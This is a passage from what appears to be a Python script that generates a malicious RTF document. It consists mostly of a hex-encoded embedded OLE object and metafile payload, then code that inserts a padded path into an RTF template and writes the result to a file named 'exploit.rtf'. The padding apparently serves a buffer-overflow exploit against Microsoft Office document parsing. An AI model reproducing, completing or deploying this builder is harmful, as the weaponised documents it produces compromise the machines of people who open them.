00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000026060f00090049636f6e4f6e6c79000105000000090200000000050000000201010000001c000000fb02f4ff00000000000090010000000100000000
5365676f65205549000000007488c5f3fe7f0000809c64303101000000000000040000002d010000050000002e010600000013000000320a240030000f00040000000000600051004d6963726f736f667420576f726420000f000000320a33003000080004000000000060005100446f63756d656e74050000002e010100
00003e00000026060f007100433a5c50726f6772616d2046696c65735c4d6963726f736f6674204f66666963655c526f6f745c5646535c57696e646f77735c496e7374616c6c65725c7b39303136303030302d303030462d303030302d313030302d3030303030303046463143457d5c776f726469636f6e2e6578650000
0700000026060f0003003133000003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000080000000004000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001050000050000000d0000004d45544146494c4550494354007e4000007efcffff16020000
08007e4082030000
0100090000030701000004001c00000000000400000003010800050000000b0200000000050000000c02d5003f0f040000002e0118001c000000fb029cff0000000000009001000000000440001254696d6573204e657720526f6d616e0000000000000000000000000000000000040000002d010000040000002d010000
040000002d0100001c000000fb0200f80000000000009001000000000940001054696d6573204e657720526f6d616e0000000000000000000000000000000000040000002d010100040000002d010100040000002d010000040000002d010000040000002d0100001c000000fb02a4ff0000000000009001000000000440
002243616c6962726900000000000000000000000000000000000000000000000000040000002d010200040000002d010200040000002d0102000400000002010100040000002d010000040000002d010000040000002d010000050000000902000000020d000000320a5700000001000400000000003c0fd40020001900
040000002d010200040000002d010200040000002d010200050000000902000000020d000000320a5700190001000400000000003c0fd40020003600050000000902000000021c000000fb021000070000000000bc02000000000102022253797374656d007690ccab05b8ad44000ee3cb768001d0768498ad05c4ad4400
040000002d010300040000002d010300030000000000}}}
'''

rtffinal=rtfhead.replace('~PADDED_PATH~',padded)

# Write RTF
open('exploit.rtf','w').write(rtffinal)